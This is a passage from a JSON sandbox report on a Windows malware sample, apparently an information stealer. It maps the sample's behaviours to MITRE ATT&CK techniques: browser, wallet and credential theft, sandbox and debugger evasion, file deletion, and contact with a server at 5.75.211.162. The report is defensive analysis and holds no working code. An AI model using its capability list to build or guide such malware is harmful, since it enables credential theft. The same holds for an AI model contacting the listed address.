detection"},{"type":"informative","value":"Contains ability to execute a WMI query"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Able to retrieve command line parameters of the running process"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Execution","technique":"JavaScript","attack_id":"T1059.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/007","identifiers":[{"type":"informative","value":"References JavaScript(s)"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Connects to LPC ports"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"Sample was identified as malicious by a trusted antivirus engine"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"suspicious","value":"YARA signature match - References common sandbox DLLs (sandbox evasion)"},{"type":"informative","value":"Able to detect sandbox environment via user account"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"suspicious","value":"Queries kernel debugger information"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"suspicious","value":"Calls an API typically used to query local/system time as file time"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Contains reference to method used by Windows shell items (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"},{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Credential Access","technique":"Credentials In Files","attack_id":"T1552.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1552/001","identifiers":[{"type":"suspicious","value":"Identified FTP credentials location strings"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","identifiers":[{"type":"informative","value":"Able to access web session cookie"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Able to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Able to enumerate disk drives (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"Loads Windows LDAP client module"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Calls an API typically used to register an interface (RPC)"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"malicious","value":"Steals sensitive data from browsers"},{"type":"suspicious","value":"Found Crypto currency wallets related strings"},{"type":"suspicious","value":"Found Putty/Winscp session related registry strings"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Collection","technique":"Archive via Custom Method","attack_id":"T1560.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/003","identifiers":[{"type":"informative","value":"Drops file with high entropy, indicating encryption/obfuscation"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain custom Base62 strings"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Asymmetric Encrypted Non-C2 Protocol","attack_id":"T1048.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1048/002","identifiers":[{"type":"informative","value":"Contains references to SFTP or FTPS file transfer"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Able to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Unencrypted Non-C2 Protocol","attack_id":"T1048.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1048/003","identifiers":[{"type":"informative","value":"Data transmitted in plain text over an insecure network protocol/port"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Impact","technique":"Data Destruction","attack_id":"T1485","attack_id_wiki":"https://attack.mitre.org/techniques/T1485","identifiers":[{"type":"malicious","value":"Executes file deletion commands for data destruction"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load content into memory (Dotnet)","description":"Observed namespace \"System.Runtime.InteropServices.Marshal\" and TypeReference \"GetDelegateForFunctionPointer\" in \"66f4247962974_vfdsgasd12.exe\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-107","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; File: \"66f4247962974_vfdsgasd12.exe\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA10\" (Indicator: \"SHA384\"; File: \"66f4247962974_vfdsgasd12.exe\")\n Found reference to \"Mhttp://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S\" (Indicator: \"SHA384\"; File: \"66f4247962974_vfdsgasd12.exe\")\n Found reference to \"Mhttp://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0>\" (Indicator: \"SHA384\"; File: \"66f4247962974_vfdsgasd12.exe\")\n Found reference to \"Phttp://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0\" (Indicator: \"SHA384\"; File: \"66f4247962974_vfdsgasd12.exe\")\n Found reference to \"8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1\" (Indicator: \"SHA384\"; File: \"66f4247962974_vfdsgasd12.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Loads the debugger/analysis tool module","description":"\"RegAsm.exe\" loaded module \"%WINDIR%\\SysWOW64\\dbghelp.dll\" at 72E80000","origin":"Loaded Module","mitre_attack_id":"T1518.001","relevance":3,"id":"module-16","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.989695899083701","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Sample file has high entropy (likely encrypted/compressed content)","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"66f4247962974_vfdsgasd12.exe\" called \"IsWow64Process\" with parameter \"7992\" - (UID: 00000000-00007992)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"66f4247962974_vfdsgasd12.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007992)\n \"cmd.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007332)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$27","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"\"66f4247962974_vfdsgasd12.exe\" called \"GetVersionExA\" with parameter 940000000600000002000000f02300000200000000080000580f00000d006d00a2000000b1080000a1000000a1080000c9570000000000000000000036a8ffff6d00650000000000b10800000010000000000000506f710208000008d4260000f86f7102f8cb70026e006600690067005c006d0061006300680069006e0065002e0063006f006e0066006900670000006c006c00 (UID: 00000000-00007992)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"66f4247962974_vfdsgasd12.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"66f4247962974_vfdsgasd12.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"66f4247962974_vfdsgasd12.exe\" queries volume information of \"C:\\66f4247962974_vfdsgasd12.exe\" at 00000000-00007992-00000C15-513325128","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"66f4247962974_vfdsgasd12.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"66f4247962974_vfdsgasd12.exe\" called \"CreateProcessA\" with parameter \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe\" - (UID: 00000000-00007992)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"timeout /t 10\" - (UID: 00000000-00007332)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$28","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$29","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"5.75.211.162:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"Found reference to API (Indicator: \"CallWindowProcA\"; File: \"66f4247962974_vfdsgasd12.exe\")\n Found reference to API (Indicator: \"FreeConsole\"; File: \"66f4247962974_vfdsgasd12.exe\")\n Found reference to API (Indicator: \"GetProcAddress\"; File: \"66f4247962974_vfdsgasd12.exe\")\n Found reference to API (Indicator: \"GetModuleHandleA\"; File: \"66f4247962974_vfdsgasd12.exe\")\n Found reference to API (Indicator: \"Sleep\"; File: \"66f4247962974_vfdsgasd12.exe\")\n Found reference to API (Indicator: \"VirtualProtectEx\"; File: \"66f4247962974_vfdsgasd12.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Dotnet source code contains suspicious native API","description":"Observed API \"GetProcAddress\" in \"66f4247962974_vfdsgasd12.exe\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-126","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"\"66f4247962974_vfdsgasd12.exe\" failed to load missing module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\mscoree.dll\" - [base:0; Status:ffffffffc0000135]\n \"66f4247962974_vfdsgasd12.exe\" failed to load missing module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\ole32.dll\" - [base:0; Status:ffffffffc0000135]\n \"66f4247962974_vfdsgasd12.exe\" failed to load missing module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\api-ms-win-core-winrt-l1-1-0.dll\" - [base:0; Status:ffffffffc0000135]","origin":"API Call","mitre_attack_id":"T1574.002","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"66f4247962974_vfdsgasd12.exe\" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Found Native API in Dotnet file","description":"Observed unmanaged function \"CallWindowProcA\" in \"66f4247962974_vfdsgasd12.exe\"\n Observed unmanaged function \"FreeConsole\" in \"66f4247962974_vfdsgasd12.exe\"\n Observed unmanaged function \"GetProcAddress\" in \"66f4247962974_vfdsgasd12.exe\"\n Observed unmanaged function \"GetModuleHandleA\" in \"66f4247962974_vfdsgasd12.exe\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-101","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$2a","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"66f4247962974_vfdsgasd12.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 70960000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"66f4247962974_vfdsgasd12.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 76220000\n \"RegAsm.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 76220000\n \"RegAsm.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 73520000\n \"cmd.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 76220000\n \"timeout.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 76220000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"66f4247962974_vfdsgasd12.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 72AA0000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"66f4247962974_vfdsgasd12.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75EB0000\n \"RegAsm.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75EB0000\n \"cmd.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75EB0000\n \"timeout.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75EB0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"66f4247962974_vfdsgasd12.exe\" was detected as \".NET\" and name: \"Library\"\n \"66f4247962974_vfdsgasd12.exe\" was detected as \"Microsoft Linker\" and name: 